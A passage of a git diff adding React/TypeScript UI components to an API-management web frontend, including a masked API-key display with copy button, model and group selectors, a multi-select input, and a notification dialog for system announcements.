+  contentClassName?: string
+}
+
+export function LongText({
+  children,
+  className = '',
+  contentClassName = '',
+}: LongTextProps) {
+  const ref = useRef<HTMLDivElement>(null)
+  const [isOverflown, setIsOverflown] = useState(false)
+
+  useEffect(() => {
+    if (checkOverflow(ref.current)) {
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setIsOverflown(true)
+      return
+    }
+
+    setIsOverflown(false)
+  }, [])
+
+  if (!isOverflown)
+    return (
+      <div ref={ref} className={cn('truncate', className)}>
+        {children}
+      </div>
+    )
+
+  return (
+    <>
+      <div className='hidden sm:block'>
+        <TooltipProvider delayDuration={0}>
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <div ref={ref} className={cn('truncate', className)}>
+                {children}
+              </div>
+            </TooltipTrigger>
+            <TooltipContent>
+              <p className={contentClassName}>{children}</p>
+            </TooltipContent>
+          </Tooltip>
+        </TooltipProvider>
+      </div>
+      <div className='sm:hidden'>
+        <Popover>
+          <PopoverTrigger asChild>
+            <div ref={ref} className={cn('truncate', className)}>
+              {children}
+            </div>
+          </PopoverTrigger>
+          <PopoverContent className={cn('w-fit', contentClassName)}>
+            <p>{children}</p>
+          </PopoverContent>
+        </Popover>
+      </div>
+    </>
+  )
+}
+
+const checkOverflow = (textContainer: HTMLDivElement | null) => {
+  if (textContainer) {
+    return (
+      textContainer.offsetHeight < textContainer.scrollHeight ||
+      textContainer.offsetWidth < textContainer.scrollWidth
+    )
+  }
+  return false
+}
diff --git a/new-api/web/default/src/components/masked-value-display.tsx b/new-api/web/default/src/components/masked-value-display.tsx
new file mode 100644
index 0000000..2a49183
--- /dev/null
+++ b/new-api/web/default/src/components/masked-value-display.tsx
@@ -0,0 +1,58 @@
+import { Button } from '@/components/ui/button'
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from '@/components/ui/popover'
+import { CopyButton } from '@/components/copy-button'
+
+interface MaskedValueDisplayProps {
+  /** 弹层内标题，如 "Full API Key" / "Full Code" */
+  label: string
+  /** 完整值，在 Popover 内完整展示 */
+  fullValue: string
+  /** 表格内显示的脱敏值 */
+  maskedValue: string
+  /** 复制按钮的 tooltip */
+  copyTooltip: string
+  /** 复制按钮的 aria-label */
+  copyAriaLabel: string
+}
+
+/**
+ * 用于在表格中展示脱敏密钥/兑换码：点击显示完整内容（文本块完整显示，非 Input），支持一键复制。
+ */
+export function MaskedValueDisplay(props: MaskedValueDisplayProps) {
+  return (
+    <div className='flex items-center'>
+      <Popover>
+        <PopoverTrigger asChild>
+          <Button variant='ghost' size='sm' className='h-7 font-mono'>
+            {props.maskedValue}
+          </Button>
+        </PopoverTrigger>
+        <PopoverContent
+          className='w-auto max-w-[min(90vw,28rem)]'
+          align='start'
+        >
+          <div className='space-y-2'>
+            <p className='text-muted-foreground text-xs'>{props.label}</p>
+            <pre
+              className='bg-muted/50 max-h-[50vh] overflow-auto rounded-md border px-3 py-2 font-mono text-xs leading-relaxed break-all whitespace-pre-wrap'
+              style={{ wordBreak: 'break-all' }}
+            >
+              {props.fullValue}
+            </pre>
+          </div>
+        </PopoverContent>
+      </Popover>
+      <CopyButton
+        value={props.fullValue}
+        className='size-7'
+        iconClassName='size-3.5'
+        tooltip={props.copyTooltip}
+        aria-label={props.copyAriaLabel}
+      />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/model-group-selector.tsx b/new-api/web/default/src/components/model-group-selector.tsx
new file mode 100644
index 0000000..eb5b2f4
--- /dev/null
+++ b/new-api/web/default/src/components/model-group-selector.tsx
@@ -0,0 +1,567 @@
+import React, { useState, useMemo, useCallback } from 'react'
+import { ChevronsUpDown, Check, CpuIcon, LayersIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { useIsMobile } from '@/hooks/use-mobile'
+import { Button } from '@/components/ui/button'
+import {
+  Command,
+  CommandEmpty,
+  CommandGroup,
+  CommandInput,
+  CommandItem,
+  CommandList,
+} from '@/components/ui/command'
+import {
+  Drawer,
+  DrawerContent,
+  DrawerHeader,
+  DrawerTitle,
+  DrawerTrigger,
+} from '@/components/ui/drawer'
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from '@/components/ui/popover'
+
+interface ModelOption {
+  label: string
+  value: string
+  category?: string
+  description?: string
+}
+
+interface GroupOption {
+  label: string
+  value: string
+  ratio?: number
+  desc?: string
+  description?: string
+}
+
+interface ModelSelectorProps {
+  selectedModel: string
+  models: ModelOption[]
+  onModelChange: (value: string) => void
+  className?: string
+  disabled?: boolean
+}
+
+interface GroupSelectorProps {
+  selectedGroup: string
+  groups: GroupOption[]
+  onGroupChange: (value: string) => void
+  className?: string
+  disabled?: boolean
+}
+
+const ModelTriggerButton = React.forwardRef<
+  React.ComponentRef<typeof Button>,
+  React.ComponentPropsWithoutRef<typeof Button> & {
+    currentLabel: string
+    triggerClassName?: string
+    isDisabled?: boolean
+  }
+>(({ currentLabel, triggerClassName, isDisabled, ...props }, ref) => (
+  <Button
+    ref={ref}
+    variant='outline'
+    role='combobox'
+    size='sm'
+    disabled={isDisabled}
+    className={cn(
+      'flex h-8 items-center gap-2 rounded-full border px-3 font-medium',
+      'justify-center p-0 sm:w-auto sm:justify-start sm:px-3',
+      'w-8',
+      'bg-background text-foreground',
+      'hover:bg-accent transition-colors',
+      'focus:!ring-0 focus:!outline-none',
+      'shadow-none',
+      triggerClassName
+    )}
+    {...props}
+  >
+    <CpuIcon className='text-muted-foreground block size-4 sm:hidden' />
+    <span className='text-muted-foreground sm:text-foreground hidden truncate text-xs sm:block'>
+      {currentLabel}
+    </span>
+    <ChevronsUpDown className='text-muted-foreground hidden h-4 w-4 opacity-50 sm:block' />
+  </Button>
+))
+
+ModelTriggerButton.displayName = 'ModelTriggerButton'
+
+const GroupTriggerButton = React.forwardRef<
+  React.ComponentRef<typeof Button>,
+  React.ComponentPropsWithoutRef<typeof Button> & {
+    currentLabel: string
+    triggerClassName?: string
+    isDisabled?: boolean
+  }
+>(({ currentLabel, triggerClassName, isDisabled, ...props }, ref) => (
+  <Button
+    ref={ref}
+    variant='outline'
+    role='combobox'
+    size='sm'
+    disabled={isDisabled}
+    className={cn(
+      'flex h-8 items-center gap-2 rounded-full border px-3 font-medium',
+      'justify-center p-0 sm:w-auto sm:justify-start sm:px-3',
+      'w-8',
+      'bg-background text-foreground',
+      'hover:bg-accent transition-colors',
+      'focus:!ring-0 focus:!outline-none',
+      'shadow-none',
+      triggerClassName
+    )}
+    {...props}
+  >
+    <LayersIcon className='text-muted-foreground block size-4 sm:hidden' />
+    <span className='text-muted-foreground sm:text-foreground hidden truncate text-xs sm:block'>
+      {currentLabel}
+    </span>
+    <ChevronsUpDown className='text-muted-foreground hidden h-4 w-4 opacity-50 sm:block' />
+  </Button>
+))
+
+GroupTriggerButton.displayName = 'GroupTriggerButton'
+
+/**
+ * Model Selector Component
+ * Styled following Scira's form-component design patterns
+ */
+export const ModelSelector: React.FC<ModelSelectorProps> = React.memo(
+  ({ selectedModel, models, onModelChange, className, disabled = false }) => {
+    const { t } = useTranslation()
+    const [open, setOpen] = useState(false)
+    const [searchQuery, setSearchQuery] = useState('')
+    const isMobile = useIsMobile()
+
+    const currentModel = useMemo(
+      () => models.find((m) => m.value === selectedModel),
+      [models, selectedModel]
+    )
+
+    // Group models by category
+    const groupedModels = useMemo(
+      () =>
+        models.reduce(
+          (acc, model) => {
+            const category = model.category || t('Other')
+            if (!acc[category]) {
+              acc[category] = []
+            }
+            acc[category].push(model)
+            return acc
+          },
+          {} as Record<string, ModelOption[]>
+        ),
+      [models, t]
+    )
+
+    // Filter models by search query
+    const filteredModels = useMemo(() => {
+      if (!searchQuery.trim()) return groupedModels
+
+      const query = searchQuery.toLowerCase()
+      const filtered: Record<string, ModelOption[]> = {}
+
+      Object.entries(groupedModels).forEach(([category, categoryModels]) => {
+        const matches = categoryModels.filter(
+          (m) =>
+            m.label.toLowerCase().includes(query) ||
+            m.value.toLowerCase().includes(query) ||
+            m.description?.toLowerCase().includes(query)
+        )
+        if (matches.length > 0) {
+          filtered[category] = matches
+        }
+      })
+
+      return filtered
+    }, [groupedModels, searchQuery])
+
+    const handleModelChange = useCallback(
+      (value: string) => {
+        onModelChange(value)
+        setOpen(false)
+        setSearchQuery('')
+      },
+      [onModelChange]
+    )
+
+    // Shared command content
+    const renderModelCommandContent = () => (
+      <Command
+        className={cn(
+          isMobile
+            ? 'h-full flex-1 rounded-lg border-0 bg-transparent'
+            : 'rounded-lg'
+        )}
+        filter={() => 1}
+        shouldFilter={false}
+      >
+        {!isMobile && (
+          <CommandInput
+            placeholder={t('Search models...')}
+            className='h-9'
+            value={searchQuery}
+            onValueChange={setSearchQuery}
+          />
+        )}
+        <CommandEmpty>{t('No model found.')}</CommandEmpty>
+        <CommandList
+          className={isMobile ? '!max-h-full flex-1 p-2' : 'max-h-[300px]'}
+        >
+          {Object.keys(filteredModels).length === 0 ? (
+            <div className='text-muted-foreground px-3 py-6 text-xs'>
+              {t('No model found.')}
+            </div>
+          ) : (
+            Object.entries(filteredModels).map(
+              ([category, categoryModels], categoryIndex) => (
+                <CommandGroup key={category}>
+                  {categoryIndex > 0 && (
+                    <div className='border-border my-1 border-t' />
+                  )}
+                  <div
+                    className={cn(
+                      'text-muted-foreground px-2 py-1 font-medium',
+                      isMobile ? 'text-xs' : 'text-[10px]'
+                    )}
+                  >
+                    {t('{{category}} Models', { category })}
+                  </div>
+                  {categoryModels.map((model) => (
+                    <CommandItem
+                      key={model.value}
+                      value={model.value}
+                      onSelect={handleModelChange}
+                      className={cn(
+                        'mb-0.5 flex items-center justify-between rounded-lg px-2 py-1.5 text-xs',
+                        'transition-all duration-200',
+                        'hover:bg-accent',
+                        'data-[selected=true]:bg-accent'
+                      )}
+                    >
+                      <div className='flex min-w-0 flex-1 items-center gap-1'>
+                        <div
+                          className={cn(
+                            'truncate font-medium',
+                            isMobile ? 'text-sm' : 'text-[11px]'
+                          )}
+                        >
+                          <span className='inline'>{model.label}</span>
+                        </div>
+                        <Check
+                          className={cn(
+                            'h-4 w-4 flex-shrink-0',
+                            selectedModel === model.value
+                              ? 'opacity-100'
+                              : 'opacity-0'
+                          )}
+                        />
+                      </div>
+                    </CommandItem>
+                  ))}
+                </CommandGroup>
+              )
+            )
+          )}
+        </CommandList>
+      </Command>
+    )
+
+    return (
+      <>
+        {isMobile ? (
+          <Drawer open={open} onOpenChange={setOpen}>
+            <DrawerTrigger asChild>
+              <ModelTriggerButton
+                currentLabel={currentModel?.label || t('Model')}
+                triggerClassName={className}
+                isDisabled={disabled}
+                aria-expanded={open}
+              />
+            </DrawerTrigger>
+            <DrawerContent className='flex max-h-[80vh] min-h-[60vh] flex-col'>
+              <DrawerHeader className='flex-shrink-0 pb-4'>
+                <DrawerTitle className='flex items-center gap-2 text-left text-lg font-medium'>
+                  {t('Select Model')}
+                </DrawerTitle>
+              </DrawerHeader>
+              <div className='flex min-h-0 flex-1 flex-col'>
+                {renderModelCommandContent()}
+              </div>
+            </DrawerContent>
+          </Drawer>
+        ) : (
+          <Popover open={open} onOpenChange={setOpen}>
+            <PopoverTrigger asChild>
+              <ModelTriggerButton
+                currentLabel={currentModel?.label || t('Model')}
+                triggerClassName={className}
+                isDisabled={disabled}
+                aria-expanded={open}
+              />
+            </PopoverTrigger>
+            <PopoverContent
+              className='bg-popover z-40 w-[90vw] max-w-[20em] rounded-lg border p-0 !shadow-none sm:w-[20em]'
+              align='start'
+              side='bottom'
+              sideOffset={4}
+              avoidCollisions={true}
+              collisionPadding={8}
+            >
+              {renderModelCommandContent()}
+            </PopoverContent>
+          </Popover>
+        )}
+      </>
+    )
+  }
+)
+
+ModelSelector.displayName = 'ModelSelector'
+
+/**
+ * Group Selector Component
+ * Styled following Scira's form-component design patterns
+ */
+export const GroupSelector: React.FC<GroupSelectorProps> = React.memo(
+  ({ selectedGroup, groups, onGroupChange, className, disabled = false }) => {
+    const { t } = useTranslation()
+    const [open, setOpen] = useState(false)
+    const isMobile = useIsMobile()
+
+    const currentGroup = useMemo(
+      () => groups.find((g) => g.value === selectedGroup),
+      [groups, selectedGroup]
+    )
+
+    const handleGroupChange = useCallback(
+      (value: string) => {
+        onGroupChange(value)
+        setOpen(false)
+      },
+      [onGroupChange]
+    )
+
+    // Shared command content
+    const renderGroupCommandContent = () => (
+      <Command
+        className={cn(
+          isMobile
+            ? 'h-full flex-1 rounded-lg border-0 bg-transparent'
+            : 'rounded-lg'
+        )}
+        filter={(value, search) => {
+          const group = groups.find((g) => g.value === value)
+          if (!group || !search) return 1
+
+          const searchTerm = search.toLowerCase()
+          const searchableFields = [
+            group.label,
+            group.description || '',
+            group.value,
+          ]
+            .join(' ')
+            .toLowerCase()
+
+          return searchableFields.includes(searchTerm) ? 1 : 0
+        }}
+      >
+        <CommandInput placeholder={t('Search groups...')} className='h-9' />
+        <CommandEmpty>{t('No group found.')}</CommandEmpty>
+        <CommandList
+          className={isMobile ? '!max-h-full flex-1 p-2' : 'max-h-[240px]'}
+        >
+          <CommandGroup>
+            <div className='text-muted-foreground px-2 py-1 text-[10px] font-medium'>
+              {t('Model Group')}
+            </div>
+            {groups.map((group) => (
+              <CommandItem
+                key={group.value}
+                value={group.value}
+                onSelect={handleGroupChange}
+                className={cn(
+                  'mb-0.5 flex items-center justify-between rounded-lg px-2 py-2 text-xs',
+                  'transition-all duration-200',
+                  'hover:bg-accent',
+                  'data-[selected=true]:bg-accent'
+                )}
+              >
+                <div className='flex min-w-0 flex-1 items-center gap-2 pr-4'>
+                  <div className='flex min-w-0 flex-1 flex-col'>
+                    <span className='text-foreground truncate text-[11px] font-medium'>
+                      {group.label}
+                    </span>
+                    {(group.desc || group.description) && (
+                      <div className='text-muted-foreground truncate text-[9px] leading-tight'>
+                        {group.desc || group.description}
+                        {group.ratio && (
+                          <>
+                            {' · '}
+                            {t('Ratio: {{value}}', { value: group.ratio })}
+                          </>
+                        )}
+                      </div>
+                    )}
+                  </div>
+                </div>
+                <Check
+                  className={cn(
+                    'ml-auto h-4 w-4',
+                    selectedGroup === group.value ? 'opacity-100' : 'opacity-0'
+                  )}
+                />
+              </CommandItem>
+            ))}
+          </CommandGroup>
+        </CommandList>
+      </Command>
+    )
+
+    return (
+      <>
+        {isMobile ? (
+          <Drawer open={open} onOpenChange={setOpen}>
+            <DrawerTrigger asChild>
+              <GroupTriggerButton
+                currentLabel={currentGroup?.label || t('Group')}
+                triggerClassName={className}
+                isDisabled={disabled}
+                aria-expanded={open}
+              />
+            </DrawerTrigger>
+            <DrawerContent className='max-h-[80vh]'>
+              <DrawerHeader className='pb-4 text-left'>
+                <DrawerTitle>{t('Choose Group')}</DrawerTitle>
+              </DrawerHeader>
+              <div className='max-h-[calc(80vh-100px)] overflow-y-auto px-4 pb-6'>
+                <div className='space-y-2'>
+                  {groups.map((group) => (
+                    <Button
+                      key={group.value}
+                      variant='outline'
+                      onClick={() => handleGroupChange(group.value)}
+                      className={cn(
+                        'flex h-auto w-full items-center justify-between rounded-lg p-4 text-left whitespace-normal',
+                        'border-border hover:bg-accent',
+                        selectedGroup === group.value
+                          ? 'bg-accent border-primary/20'
+                          : 'bg-background'
+                      )}
+                    >
+                      <div className='flex min-w-0 flex-1 items-center gap-3'>
+                        <div className='flex min-w-0 flex-1 flex-col'>
+                          <span className='text-foreground text-sm font-medium'>
+                            {group.label}
+                          </span>
+                          {(group.desc || group.description) && (
+                            <div className='text-muted-foreground mt-0.5 text-xs'>
+                              {group.desc || group.description}
+                              {group.ratio && (
+                                <>
+                                  {' · '}
+                                  {t('Ratio: {{value}}', {
+                                    value: group.ratio,
+                                  })}
+                                </>
+                              )}
+                            </div>
+                          )}
+                        </div>
+                      </div>
+                      <Check
+                        className={cn(
+                          'ml-3 h-5 w-5 shrink-0',
+                          selectedGroup === group.value
+                            ? 'opacity-100'
+                            : 'opacity-0'
+                        )}
+                      />
+                    </Button>
+                  ))}
+                </div>
+              </div>
+            </DrawerContent>
+          </Drawer>
+        ) : (
+          <Popover open={open} onOpenChange={setOpen}>
+            <PopoverTrigger asChild>
+              <GroupTriggerButton
+                currentLabel={currentGroup?.label || t('Group')}
+                triggerClassName={className}
+                isDisabled={disabled}
+                aria-expanded={open}
+              />
+            </PopoverTrigger>
+            <PopoverContent
+              className='bg-popover z-50 w-[90vw] max-w-[14em] rounded-lg border p-0 !shadow-none sm:w-[14em]'
+              align='start'
+              side='bottom'
+              sideOffset={4}
+              avoidCollisions={true}
+              collisionPadding={8}
+            >
+              {renderGroupCommandContent()}
+            </PopoverContent>
+          </Popover>
+        )}
+      </>
+    )
+  }
+)
+
+GroupSelector.displayName = 'GroupSelector'
+
+// Export combined selector component
+export interface ModelGroupSelectorProps {
+  // Model props
+  selectedModel: string
+  models: ModelOption[]
+  onModelChange: (value: string) => void
+  // Group props
+  selectedGroup: string
+  groups: GroupOption[]
+  onGroupChange: (value: string) => void
+  // Common props
+  className?: string
+  disabled?: boolean
+}
+
+/**
+ * Combined Model and Group Selector Component
+ * Provides both model and group selection in a unified interface
+ */
+export const ModelGroupSelector: React.FC<ModelGroupSelectorProps> = ({
+  selectedModel,
+  models,
+  onModelChange,
+  selectedGroup,
+  groups,
+  onGroupChange,
+  className,
+  disabled = false,
+}) => {
+  return (
+    <div className={cn('flex items-center gap-2', className)}>
+      <GroupSelector
+        selectedGroup={selectedGroup}
+        groups={groups}
+        onGroupChange={onGroupChange}
+        disabled={disabled}
+      />
+      <ModelSelector
+        selectedModel={selectedModel}
+        models={models}
+        onModelChange={onModelChange}
+        disabled={disabled}
+      />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/multi-select.tsx b/new-api/web/default/src/components/multi-select.tsx
new file mode 100644
index 0000000..c2e25a9
--- /dev/null
+++ b/new-api/web/default/src/components/multi-select.tsx
@@ -0,0 +1,132 @@
+import * as React from 'react'
+import { Command as CommandPrimitive } from 'cmdk'
+import { X } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import { Command, CommandGroup, CommandItem } from '@/components/ui/command'
+
+export type Option = {
+  label: string
+  value: string
+}
+
+interface MultiSelectProps {
+  options: Option[]
+  selected: string[]
+  onChange: (values: string[]) => void
+  placeholder?: string
+  className?: string
+}
+
+export function MultiSelect({
+  options,
+  selected,
+  onChange,
+  placeholder,
+  className,
+}: MultiSelectProps) {
+  const { t } = useTranslation()
+  const resolvedPlaceholder = placeholder ?? t('Select items...')
+  const inputRef = React.useRef<HTMLInputElement>(null)
+  const [open, setOpen] = React.useState(false)
+  const [inputValue, setInputValue] = React.useState('')
+
+  const handleUnselect = (value: string) => {
+    onChange(selected.filter((s) => s !== value))
+  }
+
+  const handleKeyDown = (e: React.KeyboardEvent<HTMLDivElement>) => {
+    const input = inputRef.current
+    if (input) {
+      if (e.key === 'Delete' || e.key === 'Backspace') {
+        if (input.value === '' && selected.length > 0) {
+          onChange(selected.slice(0, -1))
+        }
+      }
+      if (e.key === 'Escape') {
+        input.blur()
+      }
+    }
+  }
+
+  const selectables = options.filter(
+    (option) => !selected.includes(option.value)
+  )
+
+  return (
+    <Command
+      onKeyDown={handleKeyDown}
+      className={`overflow-visible bg-transparent ${className || ''}`}
+    >
+      <div className='group border-input ring-offset-background focus-within:ring-ring rounded-md border px-3 py-2 text-sm focus-within:ring-2 focus-within:ring-offset-2'>
+        <div className='flex flex-wrap gap-1'>
+          {selected.map((value) => {
+            const option = options.find((o) => o.value === value)
+            return (
+              <Badge key={value} variant='secondary'>
+                {option?.label || value}
+                <Button
+                  variant='ghost'
+                  size='icon-sm'
+                  aria-label='Remove'
+                  className='ml-1 size-auto rounded-full p-0'
+                  onKeyDown={(e) => {
+                    if (e.key === 'Enter') {
+                      handleUnselect(value)
+                    }
+                  }}
+                  onMouseDown={(e) => {
+                    e.preventDefault()
+                    e.stopPropagation()
+                  }}
+                  onClick={() => handleUnselect(value)}
+                >
+                  <X
+                    className='text-muted-foreground hover:text-foreground h-3 w-3'
+                    aria-hidden='true'
+                  />
+                </Button>
+              </Badge>
+            )
+          })}
+          <CommandPrimitive.Input
+            ref={inputRef}
+            value={inputValue}
+            onValueChange={setInputValue}
+            onBlur={() => setOpen(false)}
+            onFocus={() => setOpen(true)}
+            placeholder={selected.length === 0 ? resolvedPlaceholder : ''}
+            className='placeholder:text-muted-foreground flex-1 bg-transparent outline-none'
+          />
+        </div>
+      </div>
+      <div className='relative'>
+        {open && selectables.length > 0 ? (
+          <div className='bg-popover text-popover-foreground animate-in absolute top-0 z-10 w-full rounded-md border shadow-md outline-none'>
+            <CommandGroup className='h-full max-h-60 overflow-auto'>
+              {selectables.map((option) => {
+                return (
+                  <CommandItem
+                    key={option.value}
+                    onMouseDown={(e) => {
+                      e.preventDefault()
+                      e.stopPropagation()
+                    }}
+                    onSelect={() => {
+                      setInputValue('')
+                      onChange([...selected, option.value])
+                    }}
+                    className='cursor-pointer'
+                  >
+                    {option.label}
+                  </CommandItem>
+                )
+              })}
+            </CommandGroup>
+          </div>
+        ) : null}
+      </div>
+    </Command>
+  )
+}
diff --git a/new-api/web/default/src/components/navigation-progress.tsx b/new-api/web/default/src/components/navigation-progress.tsx
new file mode 100644
index 0000000..e233820
--- /dev/null
+++ b/new-api/web/default/src/components/navigation-progress.tsx
@@ -0,0 +1,25 @@
+import { useEffect, useRef } from 'react'
+import { useRouterState } from '@tanstack/react-router'
+import LoadingBar, { type LoadingBarRef } from 'react-top-loading-bar'
+
+export function NavigationProgress() {
+  const ref = useRef<LoadingBarRef>(null)
+  const state = useRouterState()
+
+  useEffect(() => {
+    if (state.status === 'pending') {
+      ref.current?.continuousStart()
+    } else {
+      ref.current?.complete()
+    }
+  }, [state.status])
+
+  return (
+    <LoadingBar
+      color='var(--muted-foreground)'
+      ref={ref}
+      shadow={true}
+      height={2}
+    />
+  )
+}
diff --git a/new-api/web/default/src/components/notification-button.tsx b/new-api/web/default/src/components/notification-button.tsx
new file mode 100644
index 0000000..457fef9
--- /dev/null
+++ b/new-api/web/default/src/components/notification-button.tsx
@@ -0,0 +1,45 @@
+import { Bell } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+
+interface NotificationButtonProps {
+  unreadCount: number
+  onClick: () => void
+  className?: string
+}
+
+/**
+ * Notification bell button with unread badge
+ * Displays in the app header next to theme switch and profile dropdown
+ */
+export function NotificationButton({
+  unreadCount,
+  onClick,
+  className,
+}: NotificationButtonProps) {
+  const { t } = useTranslation()
+  return (
+    <div className='relative'>
+      <Button
+        variant='ghost'
+        size='icon'
+        onClick={onClick}
+        className={cn('h-9 w-9 rounded-full', className)}
+        aria-label={t('Notifications')}
+      >
+        <Bell className='size-[1.2rem]' />
+      </Button>
+
+      {unreadCount > 0 && (
+        <Badge
+          variant='destructive'
+          className='absolute -top-1 -right-1 flex h-5 min-w-5 items-center justify-center rounded-full px-1 text-[10px] font-semibold tabular-nums'
+        >
+          {unreadCount > 99 ? '99+' : unreadCount}
+        </Badge>
+      )}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/notification-dialog.tsx b/new-api/web/default/src/components/notification-dialog.tsx
new file mode 100644
index 0000000..07c5c4b
--- /dev/null
+++ b/new-api/web/default/src/components/notification-dialog.tsx
@@ -0,0 +1,272 @@
+import type { TFunction } from 'i18next'
+import { Bell, Megaphone } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { getAnnouncementColorClass } from '@/lib/colors'
+import { formatDateTimeObject } from '@/lib/time'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Markdown } from '@/components/ui/markdown'
+import { ScrollArea } from '@/components/ui/scroll-area'
+import { Separator } from '@/components/ui/separator'
+import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs'
+
+interface AnnouncementItem {
+  type?: string
+  content?: string
+  extra?: string
+  publishDate?: string | Date
+}
+
+interface NotificationDialogProps {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  activeTab: 'notice' | 'announcements'
+  onTabChange: (tab: 'notice' | 'announcements') => void
+  notice: string
+  announcements: AnnouncementItem[]
+  loading: boolean
+  onCloseToday: () => void
+}
+
+/**
+ * Get relative time string from a date
+ */
+function getRelativeTime(publishDate: string | Date, t: TFunction): string {
+  if (!publishDate) return ''
+
+  const now = new Date()
+  const pubDate = new Date(publishDate)
+
+  // If invalid date, return original string
+  if (isNaN(pubDate.getTime()))
+    return typeof publishDate === 'string' ? publishDate : ''
+
+  const diffMs = now.getTime() - pubDate.getTime()
+  const diffSeconds = Math.floor(diffMs / 1000)
+  const diffMinutes = Math.floor(diffSeconds / 60)
+  const diffHours = Math.floor(diffMinutes / 60)
+  const diffDays = Math.floor(diffHours / 24)
+  const diffWeeks = Math.floor(diffDays / 7)
+  const diffMonths = Math.floor(diffDays / 30)
+  const diffYears = Math.floor(diffDays / 365)
+
+  // If future time, show specific date
+  if (diffMs < 0) return formatDateTimeObject(pubDate)
+
+  // Return relative time based on difference
+  if (diffSeconds < 60) return t('Just now')
+  if (diffMinutes < 60)
+    return diffMinutes === 1
+      ? t('1 minute ago')
+      : t('{{count}} minutes ago', { count: diffMinutes })
+  if (diffHours < 24)
+    return diffHours === 1
+      ? t('1 hour ago')
+      : t('{{count}} hours ago', { count: diffHours })
+  if (diffDays < 7)
+    return diffDays === 1
+      ? t('1 day ago')
+      : t('{{count}} days ago', { count: diffDays })
+  if (diffWeeks < 4)
+    return diffWeeks === 1
+      ? t('1 week ago')
+      : t('{{count}} weeks ago', { count: diffWeeks })
+  if (diffMonths < 12)
+    return diffMonths === 1
+      ? t('1 month ago')
+      : t('{{count}} months ago', { count: diffMonths })
+  if (diffYears < 2) return t('1 year ago')
+
+  // Over 2 years, show specific date
+  return formatDateTimeObject(pubDate)
+}
+
+/**
+ * Announcement status dot indicator
+ */
+function AnnouncementDot({ type }: { type?: string }) {
+  return (
+    <span
+      className={cn(
+        'mt-1.5 inline-block h-2 w-2 shrink-0 rounded-full',
+        getAnnouncementColorClass(type)
+      )}
+    />
+  )
+}
+
+/**
+ * Empty state component
+ */
+function EmptyState({ message }: { message: string }) {
+  return (
+    <div className='flex flex-col items-center justify-center py-12 text-center'>
+      <p className='text-muted-foreground text-sm'>{message}</p>
+    </div>
+  )
+}
+
+/**
+ * Notice tab content
+ */
+function NoticeContent({
+  notice,
+  loading,
+  t,
+}: {
+  notice: string
+  loading: boolean
+  t: TFunction
+}) {
+  if (loading) {
+    return <EmptyState message={t('Loading...')} />
+  }
+
+  if (!notice) {
+    return <EmptyState message={t('No announcements at this time')} />
+  }
+
+  return (
+    <ScrollArea className='h-[50vh] pr-4'>
+      <Markdown>{notice}</Markdown>
+    </ScrollArea>
+  )
+}
+
+/**
+ * Announcements tab content
+ */
+function AnnouncementsContent({
+  announcements,
+  loading,
+  t,
+}: {
+  announcements: AnnouncementItem[]
+  loading: boolean
+  t: TFunction
+}) {
+  if (loading) {
+    return <EmptyState message={t('Loading...')} />
+  }
+
+  if (announcements.length === 0) {
+    return <EmptyState message={t('No system announcements')} />
+  }
+
+  return (
+    <ScrollArea className='h-[50vh] pr-4'>
+      <div className='space-y-0'>
+        {announcements.map((item, idx) => {
+          const publishDate = item.publishDate
+            ? new Date(item.publishDate)
+            : null
+          const relativeTime = publishDate
+            ? getRelativeTime(publishDate, t)
+            : ''
+          const absoluteTime = publishDate
+            ? formatDateTimeObject(publishDate)
+            : ''
+
+          return (
+            <div key={idx}>
+              <div className='py-3'>
+                <div className='flex items-start gap-3'>
+                  <AnnouncementDot type={item.type} />
+                  <div className='min-w-0 flex-1 space-y-2'>
+                    {/* Content */}
+                    <div className='text-sm'>
+                      <Markdown>{item.content || ''}</Markdown>
+                    </div>
+
+                    {/* Extra info */}
+                    {item.extra && (
+                      <div className='text-muted-foreground text-xs'>
+                        <Markdown>{item.extra}</Markdown>
+                      </div>
+                    )}
+
+                    {/* Time */}
+                    {absoluteTime && (
+                      <div className='text-muted-foreground text-xs'>
+                        {relativeTime && `${relativeTime} • `}
+                        {absoluteTime}
+                      </div>
+                    )}
+                  </div>
+                </div>
+              </div>
+              {idx < announcements.length - 1 && <Separator />}
+            </div>
+          )
+        })}
+      </div>
+    </ScrollArea>
+  )
+}
+
+/**
+ * Notification dialog with Notice and Announcements tabs
+ */
+export function NotificationDialog({
+  open,
+  onOpenChange,
+  activeTab,
+  onTabChange,
+  notice,
+  announcements,
+  loading,
+  onCloseToday,
+}: NotificationDialogProps) {
+  const { t } = useTranslation()
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='max-h-[90vh] sm:max-w-2xl'>
+        <DialogHeader>
+          <DialogTitle>{t('System Announcements')}</DialogTitle>
+        </DialogHeader>
+
+        <Tabs
+          value={activeTab}
+          onValueChange={onTabChange as (value: string) => void}
+        >
+          <TabsList className='grid w-full grid-cols-2'>
+            <TabsTrigger value='notice' className='gap-1.5'>
+              <Bell className='h-3.5 w-3.5' />
+              {t('Notice')}
+            </TabsTrigger>
+            <TabsTrigger value='announcements' className='gap-1.5'>
+              <Megaphone className='h-3.5 w-3.5' />
+              {t('Timeline')}
+            </TabsTrigger>
+          </TabsList>
+
+          <TabsContent value='notice' className='mt-4'>
+            <NoticeContent notice={notice} loading={loading} t={t} />
+          </TabsContent>
+
+          <TabsContent value='announcements' className='mt-4'>
+            <AnnouncementsContent
+              announcements={announcements}
+              loading={loading}
+              t={t}
+            />
